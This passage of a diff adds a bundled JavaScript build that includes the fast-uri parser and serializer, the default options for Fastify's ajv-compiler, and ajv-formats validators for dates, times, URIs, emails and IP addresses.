cmpts.userinfo, + port: cmpts.port, + path: cmpts.path, + query: cmpts.query, + nid: cmpts.nid, + nss: cmpts.nss, + uuid: cmpts.uuid, + fragment: cmpts.fragment, + reference: cmpts.reference, + resourceName: cmpts.resourceName, + secure: cmpts.secure, + to: cmpts.to, + subject: cmpts.subject, + body: cmpts.body, + headers: cmpts.headers, + error: "" + }; + const options = Object.assign({}, opts); + const uriTokens = []; + if (component.scheme) { + component.scheme = decodeValidScheme(component.scheme); + } + const schemeHandler = getSchemeHandler(options.scheme || component.scheme); + if (schemeHandler && schemeHandler.serialize) schemeHandler.serialize(component, options); + const hasAuthority = component.userinfo !== void 0 || component.host !== void 0 || component.port !== void 0; + const pathNoScheme = !options.skipEscape && component.scheme === void 0 && !hasAuthority; + if (component.path !== void 0) { + if (!options.skipEscape) { + component.path = serializePathEncoding(component.path, pathNoScheme); + } else { + component.path = normalizePercentEncoding(component.path); + } + } + if (options.reference !== "suffix" && component.scheme) { + component.scheme = decodeValidScheme(component.scheme); + uriTokens.push(component.scheme, ":"); + } + const authority = recomposeAuthority(component); + if (authority !== void 0) { + if (options.reference !== "suffix") { + uriTokens.push("//"); + } + uriTokens.push(authority); + if (component.path && component.path[0] !== "/") { + uriTokens.push("/"); + } + } + if (component.path !== void 0) { + let s = component.path; + if (!options.absolutePath && (!schemeHandler || !schemeHandler.absolutePath)) { + s = removeDotSegments(s); + } + if (pathNoScheme) { + s = serializePathEncoding(s, true); + } + if (authority === void 0 && s[0] === "/" && s[1] === "/") { + s = "/%2F" + s.slice(2); + } + uriTokens.push(s); + } + if (component.query !== void 0) { + uriTokens.push("?", encodeQuery(component.query)); + } + if (component.fragment !== void 0) { + uriTokens.push("#", encodeFragment(component.fragment)); + } + return uriTokens.join(""); + } + var URI_PARSE = /^(?:([^#/:?]+):)?(?:\/\/((?:([^#/?@]*)@)?(\[[^#/?\]]+\]|[^#/:?]*)(?::(\d*))?))?([^#?]*)(?:\?([^#]*))?(?:#((?:.|[\n\r])*))?/u; + var AUTHORITY_PREFIX = /^(?:[^#/:?]+:)?\/\/([^/?#]*)/; + var AUTHORITY_INTRODUCER_REGION = /^(?:[^#/:?]+:)?([/\\\t\n\r]*)/; + function getParseError(parsed, matches) { + if (matches[2] !== void 0 && parsed.path && parsed.path[0] !== "/") { + return 'URI path must start with "/" when authority is present.'; + } + if (typeof parsed.port === "number" && (parsed.port < 0 || parsed.port > 65535)) { + return "URI port is malformed."; + } + return void 0; + } + function hasMalformedPercentEncoding(component) { + if (component === void 0) return false; + let percent = component.indexOf("%"); + while (percent !== -1) { + if (percent + 2 >= component.length || !/^[\da-f]{2}$/iu.test(component.slice(percent + 1, percent + 3))) { + return true; + } + percent = component.indexOf("%", percent + 3); + } + return false; + } + function isIPLiteral(host) { + return host[0] === "[" && host[host.length - 1] === "]"; + } + function hasMalformedComponentPercentEncoding(matches) { + const host = matches[4]; + return hasMalformedPercentEncoding(matches[3]) || host !== void 0 && !isIPLiteral(host) && hasMalformedPercentEncoding(host) || hasMalformedPercentEncoding(matches[6]) || hasMalformedPercentEncoding(matches[7]) || hasMalformedPercentEncoding(matches[8]); + } + function canonicalizeHost(parsed, options, schemeHandler, isIP) { + const bracketedIPLiteral = parsed.host && parsed.host[0] === "[" && parsed.host[parsed.host.length - 1] === "]"; + if (!options.unicodeSupport && (!schemeHandler || !schemeHandler.unicodeSupport) && parsed.host && !isIPLiteral(parsed.host) && (options.domainHost || schemeHandler && schemeHandler.domainHost) && isIP === false && !bracketedIPLiteral && nonSimpleDomain(parsed.host)) { + try { + parsed.host = new URL("http://" + parsed.host).hostname; + } catch (e) { + parsed.error = parsed.error || "Host's domain name can not be converted to ASCII: " + e; + return true; + } + } + return false; + } + function parseWithStatus(uri, opts) { + const options = Object.assign({}, opts); + const parsed = { + scheme: void 0, + userinfo: void 0, + host: "", + port: void 0, + path: "", + query: void 0, + fragment: void 0 + }; + let malformedAuthorityOrPort = false; + let malformedPercentEncoding = false; + let malformedSchemeSpecific = false; + let malformedHost = false; + let malformedIPLiteral = false; + let malformedScheme = false; + let isIP = false; + if (options.reference === "suffix") { + if (options.scheme) { + uri = options.scheme + ":" + uri; + } else { + uri = "//" + uri; + } + } + const authorityMatch = uri.match(AUTHORITY_PREFIX); + if (authorityMatch !== null && authorityMatch[1].indexOf("\\") !== -1) { + parsed.error = "URI authority must not contain a literal backslash."; + malformedAuthorityOrPort = true; + } + const introducerMatch = uri.match(AUTHORITY_INTRODUCER_REGION); + if (introducerMatch !== null) { + const region = introducerMatch[1]; + const normalizedRegion = region.replace(/[\t\n\r]/g, ""); + if (normalizedRegion.length >= 2) { + if (normalizedRegion.slice(0, 2) !== "//") { + parsed.error = parsed.error || "URI authority must not contain a literal backslash."; + malformedAuthorityOrPort = true; + } else if (region.length !== normalizedRegion.length) { + parsed.error = parsed.error || "URI authority introducer must not contain whitespace."; + malformedAuthorityOrPort = true; + } + } + } + const matches = uri.match(URI_PARSE); + if (matches) { + parsed.scheme = matches[1]; + parsed.userinfo = matches[3]; + parsed.host = matches[4]; + parsed.port = parseInt(matches[5], 10); + parsed.path = matches[6] || ""; + parsed.query = matches[7]; + parsed.fragment = matches[8]; + if (parsed.scheme !== void 0) { + const decodedScheme = unescape(parsed.scheme); + if (VALID_SCHEME.test(decodedScheme)) { + parsed.scheme = decodedScheme.toLowerCase(); + } else { + parsed.error = parsed.error || MALFORMED_SCHEME_ERROR; + malformedScheme = true; + } + } + malformedPercentEncoding = hasMalformedComponentPercentEncoding(matches); + if (malformedPercentEncoding) { + parsed.error = parsed.error || "URI contains malformed percent-encoding."; + } + if (isNaN(parsed.port)) { + parsed.port = matches[5]; + } + const parseError2 = getParseError(parsed, matches); + if (parseError2 !== void 0) { + parsed.error = parsed.error || parseError2; + malformedAuthorityOrPort = true; + } + if (parsed.host) { + const ipv4result = isIPv4(parsed.host); + if (ipv4result === false) { + const bracketedIPLiteral = isIPLiteral(parsed.host); + const hasIPLiteralBracket = parsed.host.indexOf("[") !== -1 || parsed.host.indexOf("]") !== -1; + const ipv6result = normalizeIPv6(parsed.host); + isIP = ipv6result.isIPV6 || ipv6result.isIPVFuture === true; + malformedIPLiteral = hasIPLiteralBracket && (!bracketedIPLiteral || ipv6result.error === true); + parsed.host = isIP ? ipv6result.host : ipv6result.host.toLowerCase(); + if (isIP && ipv6result.isIPV6 === true && parsed.host.indexOf("%") !== -1) { + parsed.ipv6Zone = parsed.host.slice(parsed.host.indexOf("%") + 1); + } + if (malformedIPLiteral) { + parsed.error = parsed.error || "URI host is malformed."; + malformedAuthorityOrPort = true; + } + } else { + isIP = true; + } + } + if (parsed.scheme === void 0 && parsed.userinfo === void 0 && parsed.host === void 0 && parsed.port === void 0 && parsed.query === void 0 && !parsed.path) { + parsed.reference = "same-document"; + } else if (parsed.scheme === void 0) { + parsed.reference = "relative"; + } else if (parsed.fragment === void 0) { + parsed.reference = "absolute"; + } else { + parsed.reference = "uri"; + } + if (options.reference && options.reference !== "suffix" && options.reference !== parsed.reference) { + parsed.error = parsed.error || "URI is not a " + options.reference + " reference."; + } + const schemeHandler = getSchemeHandler(options.scheme || parsed.scheme); + if (!malformedIPLiteral) { + malformedHost = canonicalizeHost(parsed, options, schemeHandler, isIP); + } + if (uri.indexOf("%") !== -1 && parsed.host !== void 0 && !malformedIPLiteral) { + let host = isIP ? parsed.host : normalizePercentEncoding(parsed.host, true); + if (!isIP) { + host = normalizePercentEncoding(host.toLowerCase()); + } + parsed.host = reescapeHostDelimiters(host, isIP); + } + if (!schemeHandler || schemeHandler && !schemeHandler.skipNormalize) { + if (parsed.path) { + parsed.path = normalizePathEncoding(parsed.path); + } + if (parsed.query) { + parsed.query = normalizeQueryFragmentEncoding(parsed.query); + } + if (parsed.fragment) { + parsed.fragment = normalizeQueryFragmentEncoding(parsed.fragment); + } + } + if (schemeHandler && schemeHandler.parse) { + schemeHandler.parse(parsed, options); + if (schemeHandler === SCHEMES.urn && parsed.nid === void 0) { + malformedSchemeSpecific = true; + } + } + } else { + parsed.error = parsed.error || "URI can not be parsed."; + } + return { parsed, malformedAuthorityOrPort, malformedPercentEncoding, malformedSchemeSpecific, malformedHost, malformedScheme }; + } + function parse4(uri, opts) { + return parseWithStatus(uri, opts).parsed; + } + function normalizeString(uri, opts) { + return normalizeStringWithStatus(uri, opts).normalized; + } + function normalizeStringWithStatus(uri, opts) { + const { parsed, malformedAuthorityOrPort, malformedPercentEncoding, malformedSchemeSpecific, malformedHost, malformedScheme } = parseWithStatus(uri, opts); + return { + normalized: malformedAuthorityOrPort || malformedPercentEncoding || malformedSchemeSpecific || malformedHost || malformedScheme ? uri : serialize(parsed, opts), + malformedAuthorityOrPort, + malformedPercentEncoding, + malformedSchemeSpecific, + malformedHost, + malformedScheme + }; + } + function normalizeComparableURI(uri, opts) { + if (typeof uri !== "string" && typeof uri !== "object") { + return void 0; + } + let value; + try { + value = typeof uri === "string" ? uri : serialize(uri, opts); + } catch { + return void 0; + } + const { normalized, malformedAuthorityOrPort, malformedPercentEncoding, malformedSchemeSpecific, malformedHost, malformedScheme } = normalizeStringWithStatus(value, opts); + return malformedAuthorityOrPort || malformedPercentEncoding || malformedSchemeSpecific || malformedHost || malformedScheme ? void 0 : normalized; + } + var fastUri = { + SCHEMES, + normalize, + resolve, + resolveComponent, + equal, + serialize, + parse: parse4 + }; + module.exports = fastUri; + module.exports.default = fastUri; + module.exports.fastUri = fastUri; + } +}); + +// node_modules/.pnpm/@fastify+ajv-compiler@4.0.6/node_modules/@fastify/ajv-compiler/lib/default-ajv-options.js +var require_default_ajv_options = __commonJS({ + "node_modules/.pnpm/@fastify+ajv-compiler@4.0.6/node_modules/@fastify/ajv-compiler/lib/default-ajv-options.js"(exports, module) { + "use strict"; + var fastUri = require_fast_uri2(); + module.exports = Object.freeze({ + coerceTypes: "array", + useDefaults: true, + removeAdditional: true, + uriResolver: fastUri, + addUsedSchema: false, + // Explicitly set allErrors to `false`. + // When set to `true`, a DoS attack is possible. + allErrors: false + }); + } +}); + +// node_modules/.pnpm/ajv-formats@3.0.1_ajv@8.20.0/node_modules/ajv-formats/dist/formats.js +var require_formats = __commonJS({ + "node_modules/.pnpm/ajv-formats@3.0.1_ajv@8.20.0/node_modules/ajv-formats/dist/formats.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.formatNames = exports.fastFormats = exports.fullFormats = void 0; + function fmtDef(validate, compare) { + return { validate, compare }; + } + exports.fullFormats = { + // date: http://tools.ietf.org/html/rfc3339#section-5.6 + date: fmtDef(date6, compareDate), + // date-time: http://tools.ietf.org/html/rfc3339#section-5.6 + time: fmtDef(getTime(true), compareTime), + "date-time": fmtDef(getDateTime(true), compareDateTime), + "iso-time": fmtDef(getTime(), compareIsoTime), + "iso-date-time": fmtDef(getDateTime(), compareIsoDateTime), + // duration: https://tools.ietf.org/html/rfc3339#appendix-A + duration: /^P(?!$)((\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+S)?)?|(\d+W)?)$/, + uri, + "uri-reference": /^(?:[a-z][a-z0-9+\-.]*:)?(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'"()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?(?:\?(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i, + // uri-template: https://tools.ietf.org/html/rfc6570 + "uri-template": /^(?:(?:[^\x00-\x20"'<>%\\^`{|}]|%[0-9a-f]{2})|\{[+#./;?&=,!@|]?(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?(?:,(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?)*\})*$/i, + // For the source: https://gist.github.com/dperini/729294 + // For test cases: https://mathiasbynens.be/demo/url-regex + url: /^(?:https?|ftp):\/\/(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)(?:\.(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)*(?:\.(?:[a-z\u{00a1}-\u{ffff}]{2,})))(?::\d{2,5})?(?:\/[^\s]*)?$/iu, + email: /^[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i, + hostname: /^(?=.{1,253}\.?$)[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[-0-9a-z]{0,61}[0-9a-z])?)*\.?$/i, + // optimized https://www.safaribooksonline.com/library/view/regular-expressions-cookbook/9780596802837/ch07s16.html + ipv4: /^(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)$/, + ipv6: /^((([0-9a-f]{1,4}:){7}([0-9a-f]{1,4}|:))|(([0-9a-f]{1,4}:){6}(:[0-9a-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9a-f]{1,4}:){5}(((:[0-9a-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9a-f]{1,4}:){4}(((:[0-9a-f]{1,4}){1,3})|((:[0-9a-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){3}(((:[0-9a-f]{1,4}){1,4})|((:[0-9a-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){2}(((:[0-9a-f]{1,4}){1,5})|((:[0-9a-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){1}(((:[0-9a-f]{1,4}){1,6})|((:[0-9a-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9a-f]{1,4}){1,7})|((:[0-9a-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))$/i, + regex, + // uuid: http://tools.ietf.org/html/rfc4122 + uuid: /^(?:urn:uuid:)?[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i, + // JSON-pointer: https://tools.ietf.org/html/rfc6901 + // uri fragment: https://tools.ietf.org/html/rfc3986#appendix-A + "json-pointer": /^(?:\/(?:[^~/]|~0|~1)*)*$/, + "json-pointer-uri-fragment": /^#(?:\/(?:[a-z0-9_\-.!$&'()*+,;:=@]|%[0-9a-f]{2}|~0|~1)*)*$/i, + // relative JSON-pointer: http://tools.ietf.org/html/draft-luff-relative-json-pointer-00 + "relative-json-pointer": /^(?:0|[1-9][0-9]*)(?:#|(?:\/(?:[^~/]|~0|~1)*)*)$/, + // the following formats are used by the openapi specification: https://spec.openapis.org/oas/v3.0.0#data-types + // byte: https://github.com/miguelmota/is-base64 + byte, + // signed 32 bit integer + int32: { type: "number", validate: validateInt32 }, + // signed 64 bit integer + int64: { type: "number", validate: validateInt64 }, + // C-type float + float: { type: "number", validate: validateNumber }, + // C-type double + double: { type: "number", validate: validateNumber }, + // hint to the UI to hide input strings + password: true, + // unchecked string payload + binary: true + }; + exports.fastFormats = { + ...exports.fullFormats, + date: fmtDef(/^\d\d\d\d-[0-1]\d-[0-3]\d$/, compareDate), + time: fmtDef(/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i, compareTime), + "date-time": fmtDef(/^\d\d\d\d-[0-1]\d-[0-3]\dt(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i, compareDateTime), + "iso-time": fmtDef(/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i, compareIsoTime), + "iso-date-time": fmtDef(/^\d\d\d\d-[0-1]\d-[0-3]\d[t\s](?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i, compareIsoDateTime), + // uri: https://github.com/mafintosh/is-my-json-valid/blob/master/formats.js + uri: /^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/)?[^\s]*$/i, + "uri-reference": /^(?:(?:[a-z][a-z0-9+\-.]*:)?\/?\/)?(?:[^\\\s#][^\s#]*)?(?:#[^\\\s]*)?$/i, + // email (sources from jsen validator): + // http://stackoverflow.com/questions/201323/using-a-regular-expression-to-validate-an-email-address#answer-8829363 + // http://www.w3.org/TR/html5/forms.html#valid-e-mail-address (search for 'wilful violation') + email: /^[a-z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)*$/i + }; + exports.formatNames = Object.keys(exports.fullFormats); + function isLeapYear(year) { + return year % 4 === 0 && (year % 100 !== 0 || year % 400 === 0); + } + var DATE = /^(\d\d\d\d)-(\d\d)-(\d\d)$/; + var DAYS = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]; + function date6(str) { + const matches = DATE.exec(str); + if (!matches) + return false; + const year = +matches[1]; + const month = +matches[2]; + const day = +matches[3]; + return month >= 1 && month <= 12 && day >= 1 && day <= (month === 2 && isLeapYear(year) ? 29 : DAYS[month]); + } + function compareDate(d1, d2) { + if (!(d1 && d2)) + return void 0; + if (d1 > d2) + return 1; + if (d1 < d2) + return -1; + return 0; + } + var TIME = /^(\d\d):(\d\d):(\d\d(?:\.\d+)?)(z|([+-])(\d\d)(?::?(\d\d))?)?$/i; + function getTime(strictTimeZone) { + return function time4(str) { + const matches = TIME.exec(str); + if (!matches) + return false; + const hr = +matches[1]; + const min = +matches[2]; + const sec = +matches[3]; + const tz = matches[4]; + const tzSign = matches[5] === "-" ? -1 : 1; + const tzH = +(matches[6] || 0); + const tzM = +(matches[7] || 0); + if (tzH > 23 || tzM > 59 || strictTimeZone && !tz) + return false; + if (hr <= 23 && min <= 59 && sec < 60) + return true; + const utcMin = min - tzM * tzSign; + const utcHr = hr - tzH * tzSign - (utcMin < 0 ? 1 : 0); + return (utcHr === 23 || utcHr === -1) && (utcMin === 59 || utcMin === -1) && sec < 61; + }; + } + function compareTime(s1, s2) { + if (!(s1 && s2)) + return void 0; + const t1 = (/* @__PURE__ */ new Date("2020-01-01T" + s1)).valueOf(); + const t2 = (/* @__PURE__ */ new Date("2020-01-01T" + s2)).valueOf(); + if (!(t1 && t2)) + return void 0; + return t1 - t2; + } + function compareIsoTime(t1, t2) { + if (!(t1 && t2)) + return void 0; + const a1 = TIME.exec(t1); + const a2 = TIME.exec(t2); + if (!(a1 && a2)) + return void 0; + t1 = a1[1] + a1[2] + a1[3]; + t2 = a2[1] + a2[2] + a2[3]; + if (t1 > t2) + return 1; + if (t1 < t2) + return -1; + return 0; + } + var DATE_TIME_SEPARATOR = /t|\s/i; + function getDateTime(strictTimeZone) { + const time4 = getTime(strictTimeZone); + return function date_time(str) { + const dateTime = str.split(DATE_TIME_SEPARATOR); + return dateTime.length === 2 && date6(dateTime[0]) && time4(dateTime[1]); + }; + } + function compareDateTime(dt1, dt2) { + if (!(dt1 && dt2)) + return void 0; + const d1 = new Date(dt1).valueOf(); + const d2 = new Date(dt2).valueOf(); + if (!(d1 && d2)) + return void 0; + return d1 - d2; + } + function compareIsoDateTime(dt1, dt2) { + if (!(dt1 && dt2)) + return void 0; + const [d1, t1] = dt1.split(DATE_TIME_SEPARATOR); + const [d2, t2] = dt2.split(DATE_TIME_SEPARATOR); + const res = compareDate(d1, d2); + if (res === void 0) + return void 0; + return res || compareTime(t1, t2); + } + var NOT_URI_FRAGMENT = /\/|:/; + var URI = /^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)(?:\?(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i; + function uri(str) { + return NOT_URI_FRAGMENT.test(str) && URI.test(str); + } + var BYTE = /^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/gm; + function byte(str) { + BYTE.lastIndex = 0; + return BYTE.test(str); + } + var MIN_INT32 = -(2 ** 31); + var MAX_INT322 = 2 ** 31 - 1; + function validateInt32(value) { + return Number.isInteger(value) && value <= MAX_INT322 && value >= MIN_INT32; + } + function validateInt64(value) { + return Number.isInteger(value); + } + function validateNumber() { + return true; + } + var Z_ANCHOR = /[^\\]\\Z/; + function regex(str) { + if (Z_ANCHOR.test(str)) + return false; + try { + new RegExp(str); + return true; + } catch (e) { + return false; + } + } + } +}); + +// node_modules/.pnpm/ajv-formats@3.0.1_ajv@8.20.0/node_modules/ajv-formats/dist/limit.js +var require_limit = __commonJS({ + "node_modules/.pnpm/ajv-formats@3.0.1_ajv@8.20.0/node_modules/ajv-formats/dist/limit.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.formatLimitDefinition = void 0; + var ajv_1 = require_ajv(); + var codegen_1 = require_codegen(); + var ops = codegen_1.operators; + var KWDs = { + formatMaximum: { okStr: "<=", ok: ops.LTE, fail: ops.GT }, + formatMinimum: { okStr: ">=", ok: ops.GTE, fail: ops.LT }, + formatExclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, + formatExclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } + }; + var error51 = { + message: ({ keyword, schemaCode }) => (0, codegen_1.str)`should be ${KWDs[keyword].okStr} ${schemaCode}`, + params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` + }; + exports.formatLimitDefinition = { + keyword: Object.keys(KWDs), + type: "string", + schemaType: "string", + $data: true, + error: error51, + code(cxt) { + const { gen, data, schemaCode, keyword, it } = cxt; + const { opts, self: self2 } = it; + if (!opts.validateFormats) + return; + const fCxt = new ajv_1.KeywordCxt(it, self2.RULES.all.format.definition, "format"); + if (fCxt.$data) + validate$DataFormat(); + else + validateFormat(); + function validate$DataFormat() { + const fmts = gen.scopeValue("formats", { + ref: self2.formats, + code: opts.code.formats + }); + const fmt = gen.const("fmt", (0, codegen_1._)`${fmts}[${fCxt.schemaCode}]`); + cxt.fail$data((0, codegen_1.or)((0, codegen_1._)`typeof ${fmt} != "object"`, (0, codegen_1._)`${fmt} instanceof RegExp`, (0, codegen_1._)`typeof ${fmt}.compare != "function"`, compareCode(fmt))); + } + function validateFormat() { + const format = fCxt.schema; + const fmtDef = self2.formats[format]; + if (!fmtDef || fmtDef === true) + return; + if (typeof fmtDef != "object" || fmtDef instanceof RegExp || typeof fmtDef.compare != "function") { + throw new Error(`"${keyword}": format "${format}" does not define "compare" function`); + } + const fmt = gen.scopeValue("formats", { + key: format, + ref: fmtDef, + code: opts.code.formats ? (0, codegen_1._)`${opts.code.formats}${(0, codegen_1.getProperty)(format)}` : void 0 + }); + cxt.fail$data(compareCode(fmt)); + } + function compareCode(fmt) { + return (0, codegen_1._)`${fmt}.compare(${data}, ${schemaCode}) ${KWDs[keyword].fail} 0`; + } + }, + dependencies: ["format"] + }; + var formatLimitPlugin = (ajv) => { + ajv.addKeyword(exports.formatLimitDefinition); + return ajv; + }; + exports.default = formatLimitPlugin; + } +}); + +// node_modules/.pnpm/ajv-formats@3.0.1_ajv@8.20.0/node_modules/ajv-formats/dist/index.js +var require_dist2 = __commonJS({ + "node_modules/.pnpm/ajv-formats@3.0.1_ajv@8.20.0/node_modules/ajv-formats/dist/index.js"(exports, module) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + var formats_1 = require_formats(); + var limit_1 = require_limit(); + var codegen_1 = require_codegen(); + var fullName = new codegen_1.Name("fullFormats"); + var fastName = new codegen_1.Name("fastFormats"); + var formatsPlugin = (ajv, opts = { keywords: true }) => { + if (Array.isArray(opts)) { + addFormats(ajv, opts, formats_1.fullFormats, fullName); + return ajv; + } + const [formats, exportName] = opts.mode === "fast" ? [formats_1.fastFormats, fastName] : [formats_1.fullFormats, fullName]; + const list = opts.formats || formats_1.formatNames; + addFormats(ajv, list, formats, exportName); + if (opts.keywords) + (0, limit_1.default)(ajv); + return ajv; + }; + formatsPlugin.get = (name, mode = "full") => { + const formats = mode === "fast" ? formats_1.fastFormats : formats_1.fullFormats; + const f = formats[name]; + if (!f) + throw new Error(`Unknown format "${name}"`); + return f; + }; + function addFormats(ajv, list, fs2, exportName) { + var 